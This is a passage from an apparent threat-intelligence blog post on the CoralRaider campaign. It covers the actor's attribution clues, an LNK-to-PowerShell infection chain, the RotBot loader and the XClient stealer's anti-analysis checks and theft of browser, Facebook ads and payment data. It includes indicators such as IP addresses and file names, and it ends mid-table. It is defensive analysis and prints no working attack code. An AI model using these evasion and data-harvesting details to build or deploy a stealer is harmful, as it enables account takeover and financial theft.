Vietnam.&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/vO3VUs3hsiCnRVm7sL8j6tJvzI9Bwod9CTtUhEpxBk1u13pVnEEJ8oqOMu_pVSZt3SwDCnxR11vmoZedYGAkwP_DOr2pPQ8J0Xde0zFf8UvEdRMx0qDHABWbugSV4sW1MlUJtajmad_rHvTSAecGXAU" class="kg-image" alt="CoralRaider targets victims&#x2019; data and social media accounts" loading="lazy" width="1600" height="777"></figure><p>&#xA0;Our analysis revealed that the actor uses a Telegram bot, as a C2, to exfiltrate the victim&#x2019;s data. This allowed us to collect information and uncover several invaluable indicators about the origin and activities of the attacker.&#xA0;</p><p>The attacker used two Telegram bots: A &#x201C;debug&#x201D; bot for debugging, and an &#x201C;online&#x201D; bot where victim data was received. However, a Desktop image in the &#x201C;debug&#x201D; bot had a similar desktop and Telegram to the &#x201C;online&#x201D; bot. This showed that the actor possibly infected their own environment while testing the bot.&#xA0;</p>
<!--kg-card-begin: html-->
<table style="border: medium; border-collapse: collapse; table-layout: fixed; width: 468pt;"><colgroup><col><col></colgroup><tbody><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="border: medium; display: inline-block; overflow: hidden; width: 298px; height: 235px;"><img src="https://lh7-us.googleusercontent.com/KG57mjwJIqIBkJLGDgFXmeu_Q1y393GdKlZMeqNdE1VAkdb14LkeS0FXE4s0iYMN7kABI6hvURHHOB6gApL9hNhPc3YRY4oP-xgf2egHVCzSUWIXzodPX32IVrS8WPfhfa78qxnnRM1-ijdXgjKXoTo" width="298" height="235" style="margin-left: 0px; margin-top: 0px;" alt="CoralRaider targets victims&#x2019; data and social media accounts"></span></span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="border: medium; display: inline-block; overflow: hidden; width: 298px; height: 235px;"><img src="https://lh7-us.googleusercontent.com/dif51FZqTySnLaJhn4RVxvPb7AHSWnZDPAwLc1FBOEtEY2-HjLOeUURF-deKsJHvi-QNPOfooU2SglY7HSm428l1Q_MUnn1FzLSKXlZp3egaA2X6By3xPOkSXYI6zoSsEmeProBqZxRVxv43Bymn5pc" width="298" height="235" style="margin-left: 0px; margin-top: 0px;" alt="CoralRaider targets victims&#x2019; data and social media accounts"></span></span></p></td></tr></tbody></table>
<!--kg-card-end: html-->
<p>Analyzing the images of the actor&#x2019;s Desktop on the Telegram bot, we found a few Telegram groups in Vietnamese named &#x201C;Ki&#xE9;m tien t&#x1EED; Facebook,&#x201D; &#x201C;Mua B&#xE1;n Scan MINI,&#x201D; and &#x201C;Mua B&#xE1;n Scan Meta.&#x201D; Monitoring these groups revealed that they were underground markets where, among other activities, victim data was traded.&#xA0;</p><p>In an image from the &#x201C;debug bot,&#x201D; we spotted the Windows device ID (HWID) and an IP address (118[.]71[.]64[.]18), located in Hanoi, Vietnam, that is likely to be CoralRaider&#x2019;s IP address.</p><p>Talos&#x2019; research uncovered two other images that revealed a few folders on their OneDrive. One of the folders had a Vietnamese name, &#x201C;Bot Export Chi&#x1EBF;n,&#x201D; which is the same as one of the folders in the PDB strings of their loader component. Pivoting on the folder path in the PDB string, we discovered a few other PDB strings having similar paths but different Vietnamese names. We analyzed the discovered samples with the PDB strings and found they belong to the same loader family, RotBot. The Vietnamese name in the PDB string of the loader binary further strengthens our assessment that CoralRaider is of Vietnamese origin.</p>
<!--kg-card-begin: html-->
<table style="border: medium; border-collapse: collapse;"><colgroup><col width="635"></colgroup><tbody><tr style="height: 29.6521pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 9pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">D:\ROT\ROT\Build rot Export\2024\Bot Export Khu&#xEA;\14.225.210.XX-Khue-Ver 2.0\GPT\bin\Debug\spoolsv.pdb</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 9pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">D:\ROT\ROT\Build rot Export\2024\Bot Export Tr&#x1EE9;\149.248.79.205 - NetFrame 4.5 Run Dll - 2024\ChromeCrashServices\obj\Debug\FirefoxCrashSevices.pdb</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 9pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">D:\ROT\ROT\Build rot Export\2024\Bot Export Tr&#x1EE9;\139.99.23.9-NetFrame4.5-Ver2.0-Tr&#x1EE9;\GPT\bin\Debug\spoolsv.pdb</span></p><br></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 9pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">D:\ROT\ROT\Build rot Export\2024\Bot Export Chi&#x1EBF;n\14.225.210.XX-Chi&#x1EBF;n -Ver 2.0\GPT\bin\Debug\spoolsv.pdb</span></p><br></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 9pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">D:\ROT\ROT\Build rot Export\2024\Bot Export Tr&#x1EE9;\139.99.23.9-NetFrame4.5-Ver2.0-Tr&#x1EE9;\GPT\bin\Debug\SkypeApp.pdb</span></p><br></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 9pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">D:\ROT\ROT\Build rot Export\2024\Bot Export Chi&#x1EBF;n\14.225.210.XX-Chi&#x1EBF;n -Ver 2.0\GPT\bin\Debug\spoolsv.pdb</span></p><br></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 9pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">D:\ROT\ROT\ROT Ver 5.5\Source\Encrypted\Ver 4.8 - Client Netframe 4.5\XClient\bin\Debug\AI.pdb</span></p><br></td></tr></tbody></table>
<!--kg-card-end: html-->
<figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/GOaEdpGaxn0l9RTVAVFZaK72G1asNd-gYDxSnzOuFThiXN-37aL4DNLLvQOCHJPFVUE9w3TkSGJY7Mom-0z-eMvZdINXJnUJI_BU5akZibCwdA27pDpKhdyCJ-gmXlnpPNC1UV8X-IqKIxMpPvMLOcI" class="kg-image" alt="CoralRaider targets victims&#x2019; data and social media accounts" loading="lazy" width="1415" height="791"></figure><p>Another image we analyzed is an Excel spreadsheet that likely contained the victims&#x2019; data. We have redacted the images to maintain confidentiality. The spreadsheet has several tabs in Vietnamese, and their English translation showed us the tabs &#x201C;Employee salary spreadsheet,&#x201D; &#x201C;advertising costs,&#x201D; &#x201C;website to buy copies,&#x201D; &#x201C;PayPal related,&#x201D; and &#x201C;can use.&#x201D; The spreadsheet seemed to have multiple versions &#x2014; the first was created on May 10, 2023. We also spotted that they have logged into their Microsoft Office 365 account with the display name &#x201C;daloia krag&#x201D; while accessing the spreadsheet, and CoralRaider likely operates the account.&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/fOCazga8_IZzzzF_lhZ6Pc7cMmT0iz5BRiefVZcaFBkq9EDQNfTnTNYthosKyOWY8G8qHFgPO1U_oqKzjtrV_rXBdJlsKNDU8BoCmIvSgzCnF-VIArVnKkCKz2cH1bYCPxCBTJ6pi0qHpeSCZpL0A50" class="kg-image" alt="CoralRaider targets victims&#x2019; data and social media accounts" loading="lazy" width="1126" height="613"></figure><p>CoralRaider&#x2019;s payload, XClient stealer analysis, showed us a few more indicators. CoralRaider had hardcoded Vietnamese words in several stealer functions of their payload XClient stealer. The stealer function maps the stolen victim&#x2019;s information to hardcoded Vietnamese words and writes them to a text file on the victim machine&#x2019;s temporary folder before exfiltration. One example function we observed is used to steal the victim&#x2019;s Facebook Ads account that has hardcoded with Vietnamese words for Account rights, Threshold, Spent, Time Zone, and Date Created, etc.</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/04/image7.png" class="kg-image" alt="CoralRaider targets victims&#x2019; data and social media accounts" loading="lazy" width="762" height="761" srcset="https://blog.talosintelligence.com/content/images/size/w600/2024/04/image7.png 600w, https://blog.talosintelligence.com/content/images/2024/04/image7.png 762w" sizes="(min-width: 720px) 720px"></figure><h1 id="the-campaign">The campaign&#xA0;&#xA0;</h1><p>Talos observed that CoralRaider is conducting a malicious campaign targeting victims in multiple countries in Asia and Southeast Asia, including India, China, South Korea, Bangladesh, Pakistan, Indonesia and Vietnam.&#xA0;</p><p>The initial vector of the campaign is the Windows shortcut file. We are unclear on the technique the actor used to deliver the LNKs to the victims. Some of the shortcut file filenames that we observed during our analysis are:</p><ul><li>&#xC790;&#xC138;&#xD55C; &#xBE44;&#xB514;&#xC624; &#xBC0F; &#xC774;&#xBBF8;&#xC9C0;.lnk</li><li>&#x8A2D;&#x8A08;&#x5167;&#x5BB9;+&#x6211;&#x7684;&#x540D;&#x7247;.lnk</li><li>run-dwnl-restart.lnk</li><li>index-write-upd.lnk</li><li>finals.lnk</li><li>manual.pdf.lnk</li><li>LoanDocs.lnk</li><li>DoctorReferral.lnk</li><li>your-award.pdf.lnk</li><li>Research.pdf.lnk</li><li>start-of-proccess.lnk</li><li>lan-onlineupd.lnk</li><li>refcount.lnk</li></ul><p>We also discovered a few notable unique drive serial numbers from the metadata of the Windows Shortcut files:</p><ul><li>A0B4-2B36</li><li>FA4C-C31D</li><li>94AA-CEFB</li><li>46F7-AF3B</li></ul><p>The attack begins when a user opens a malicious Windows shortcut file, which downloads and executes an HTML application file (HTA) from an attacker-controlled download server. The HTA file executes an embedded obfuscated Visual Basic script. The malicious Visual Basic script executes an embedded PowerShell script in the memory, which decrypts and sequentially executes three other PowerShell scripts that perform anti-VM and anti-analysis checks, bypass the User Access Controls, disables the Windows and application notifications on the victim&#x2019;s machine, and finally downloads and run the RotBot.&#xA0;</p><p>RotBot, the QuasarRAT client variant, in its initial execution phase, performs several detection evasion checks on the victim machine and conducts system reconnaissance. RotBot then connects to a host on a legitimate domain, likely controlled by the threat actor, and downloads the configuration file for the RotBot to connect to the C2. CoralRaider uses the Telegram bot as the C2 channel in this campaign.&#xA0;</p><p>After connecting to the Telegram C2, RotBot loads the payload XClient stealer onto the victim memory from its resource and runs its plugin program. The XClient stealer plugin performs anti-VM and anti-virus software checks on the victim&apos;s machine. It executes its functions to collect the victim&apos;s browser data, including cookies, stored credentials, and financial information such as credit card details. It also collects the victim&#x2019;s data from social media accounts, including Facebook, Instagram, TikTok business ads, and YouTube. It also collects the application data from the Telegram desktop and Discord application on the victim&apos;s machine. The stealer plugin can capture screenshots of the victim&#x2019;s desktop and save them as a PNG file in the victim&apos;s machine&#x2019;s temporary folder. With PNG files, the stealer plugin dumps the collected victim&#x2019;s data from the browser and social media accounts in a text file and creates a ZIP archive. The PNG and ZIP files are exfiltrated to the attacker&apos;s Telegram bot C2.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://lh7-us.googleusercontent.com/x9Ig-5bvOqvyXURnXtIKPCxOKlwn-9zOfkHGsJDQbjYIbS8Smxct1AGFUPF_UfA33uGShenbawPtuwsxDOWYTog0HPP24bDIoD_h16KChA-LpRZ06BHTDMd7P2BOrFOjV8fw4UpIhtKmyKhSjr9iOWw" class="kg-image" alt="CoralRaider targets victims&#x2019; data and social media accounts" loading="lazy" width="1600" height="1359"><figcaption><span style="white-space: pre-wrap;">Infection flow diagram.</span></figcaption></figure><h1 id="rotbot-loads-and-runs-the-payload">RotBot loads and runs the payload &#xA0;</h1><p>RotBot, a remote access tool (RAT) compiled on Jan. 9, 2024, is downloaded and runs on the victim machine disguised as a Printer Subsystem application &#x201C;spoolsv.exe.&#x201D; RotBot is a variant of the QuasarRAT client that the threat actor has customized and compiled for this campaign.&#xA0;</p><p>During its initial execution, RotBot performs several checks on the victim&#x2019;s machine to evade detection, including IP address, ASN number, and running processes of the victim&#x2019;s machine. It performs reconnaissance of system data on the victim machine. It also configures the internet proxy on the victim machine by modifying the registry key:&#xA0;</p><p>Software\Microsoft\Windows\CurrentVersion\Internet&#xA0;</p><p>Settings with the values:</p><p>ProxyServer = 127.0.0.1:80</p><p>ProxyEnable = 1</p><p>We observed that RotBot discovered in this campaign creates mutex in the victim machine as the infection markers&#x200B;&#x200B; using the hardcoded strings in the binary.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/2JUO53DkwTPdJyeBpamDsAAe67aP1YHbKndT1TFw5VIEFubRv3JuKmCWGKJOTnAani4pCKet5-hAl0QVC84EaQYQqkXo8lkbFMo-kQg7BHH34QsOuZsLZRuTmOucB23ZNgQ-BDEa-zd3G_P0wGdXpt8" class="kg-image" alt="CoralRaider targets victims&#x2019; data and social media accounts" loading="lazy" width="1068" height="532"></figure><p>RotBot loads and runs the XClient stealer module from its resources and uses the configuration parameters for its Telegram C2 bot from the downloaded configuration file.&#xA0;</p>
<!--kg-card-begin: html-->
<table style="border: medium; border-collapse: collapse;"><colgroup><col width="204"><col width="369"></colgroup><tbody><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="border: medium; display: inline-block; overflow: hidden; width: 184px; height: 219px;"><img src="https://lh7-us.googleusercontent.com/qrc8l67H0JJhK_JvdfbCNpc6ZPXOYJQ5o8fRPSu0Z93jtvVMTDSJsmsNeNmBc2tn0g2LxW1eYD07DSkMSmTVp_4gUUXrZ7eYc34jzisHQOojaMwGe_IcTR-L3rc-dzCOtpAkt24hYp9Vhgf2-9x9IWI" width="184" height="219" style="margin-left: 0px; margin-top: 0px;" alt="CoralRaider targets victims&#x2019; data and social media accounts"></span></span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 10pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="border: medium; display: inline-block; overflow: hidden; width: 353px; height: 219px;"><img src="https://lh7-us.googleusercontent.com/2YQBsjDZ7DCeejLEQ8ulAtnfa6vK7PsBAea-jn1vYxGu5SZW82HLiVQiLZ1f1zCRtzi5Ieb8cFEtG5_8ZRxZi5GldSj9zOXj65RMA48jW0rMBEd-EgMxmAxccwcyRqiK1VN8EFk2hbNPyzD3yfid_RU" width="353" height="219" style="margin-left: 0px; margin-top: 0px;" alt="CoralRaider targets victims&#x2019; data and social media accounts"></span></span></p></td></tr></tbody></table>
<!--kg-card-end: html-->
<h2 id="xclient-stealer-targets-victims%E2%80%99-social-media-accounts">XClient stealer targets victims&#x2019; social media accounts.&#xA0;</h2><p>The XClient stealer sample we analyzed in this campaign is a .Net executable compiled on Jan. 7, 2024. It has extensive information-stealing capability through its plugin module and various modules for performing remote administrative tasks.&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/GxwhUkKOndLcV7U0xUvast_RI4hHLZiayMxMd5Zb6EcLkYSeF0vXNAkXT1KKNoEL7fOlHyXH0nW-Ruu-YW-t6KcQ918BHSA4XeICegwsqlwU6mCL5ULBj5nbr5liA2lH-hmx-ZYHVCW-V67Pbq5pRsY" class="kg-image" alt="CoralRaider targets victims&#x2019; data and social media accounts" loading="lazy" width="1218" height="479"></figure><p>XClient stealer has three primary functions that help it to avoid the radar. First, it will do virtual environment evasion if the victim&#x2019;s machine runs in VMware or VirtualBox. It also checks if a DLL called sbieDll.dll exists in the victim machine file system to detect if it runs in the Sandboxie environment. XClient stealer also checks if anti-virus software, including AVG, Avast, and Kaspersky, is running on the victim&#x2019;s machine.&#xA0;</p><p>After bypassing all the checking functions, the XClient stealer captures the victim&#x2019;s machine screenshot, saves it with the &#x201C;.png&#x201D; extension in the victim&#x2019;s temporary user profile folder, and sends it to C2 through the URL &#x201C;/sendPhoto.&#x201D;&#xA0;</p><p>XClient stealer steals victims&#x2019; social media web application credentials, browser data, and financial information such as credit card details. It targets Chrome, Microsoft Edge, Opera, Brave, CocCoc, and Firefox browser data files through the absolute paths of the respective browser installation paths. It extracts the contents of the browser database to a text file in the victim&#x2019;s profile local temporary folder.&#xA0;</p><p>XClient stealer hijacks and steals various Facebook data from the victim&#x2019;s Facebook account. It sets custom HTTP header metadata along with the victim&#x2019;s stolen Facebook cookie, and the username sends requests to Facebook APIs through the URLs below.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/09g6R9d58FVruLkFR-9qQ4ctDxlYvt_RKDN-SiKdNIUxipSoG45OiX0OgmeJYByLW1Y0G_1gpMI3eT_1UQTPkgwi86xGgySsTRlgDPilIS6zYGsVULV1qzz478NPS_HsjJuZsMuEPLhcbdsH7GVHFsE" class="kg-image" alt="CoralRaider targets victims&#x2019; data and social media accounts" loading="lazy" width="1600" height="233"></figure><p>It checks if the victim&#x2019;s Facebook is a business or ads account and uses regular expressions to search for access_token, assetID, and paymentAccountID. Using Facebook graph API, XClient attempts to collect an extensive list of information from the victim&#x2019;s account, shown in the table below.</p>
<!--kg-card-begin: html-->
<table style="border: medium; border-collapse: collapse;"><colgroup><col width="150"><col width="474"></colgroup><tbody><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 700; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Entities</span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 700; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Value place holders</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">facebook_pages</span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">verification_status, fan_count, followers_count, is_owned, name, is_published,is_promotable, parent_page, promotion_eligible, has_transitioned_to_new_page_experience, picture, roles</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Adaccounts, businesses</span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">name, permitted_roles, can_use_extended_credit, primary_page, wo_factor_type, client_ad_accounts, verification_status, id, created_time, is_disabled_for_integrity_reasons, sharing_eligibility_status, allow_page_management_in_www, timezone_id, timezone_offset_hours_utc</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">owned_ad_accounts</span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">id, currency, timezone_offset_hours_utc, timezone_name,adtrust_dsl</span></p></td></tr><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Business_users</span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">name, account_status, account_id, owner_business, created_time, next_bill_date, currency, timezone_name, timezone_offset_hours_utc, business_country_code, disable_reason, adspaymentcycle{threshold_amount}, has_extended_credit, adtrust_dsl, funding_source_details, balance, is_prepay_account, owner</span></p></td></tr></tbody></table>
<!--kg-card-end: html-->
<p>XClient stealer also collects the financial information from the victims&#x2019; Facebook business and ads accounts.</p>
<!--kg-card-begin: html-->
<table style="border: medium; border-collapse: collapse;"><colgroup><col width="223"><col width="401"></colgroup><tbody><tr style="height: 0pt;"><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 700; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Payment related entities</span></p></td><td style="border-width: 1pt; border-style: solid; border-color: rgb(0, 0, 0); vertical-align: top; padding: 5pt; overflow: hidden; overflow-wrap: break-word;"><p dir="ltr" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(0, 0, 0); background-color: transparent; font-weight: 700; 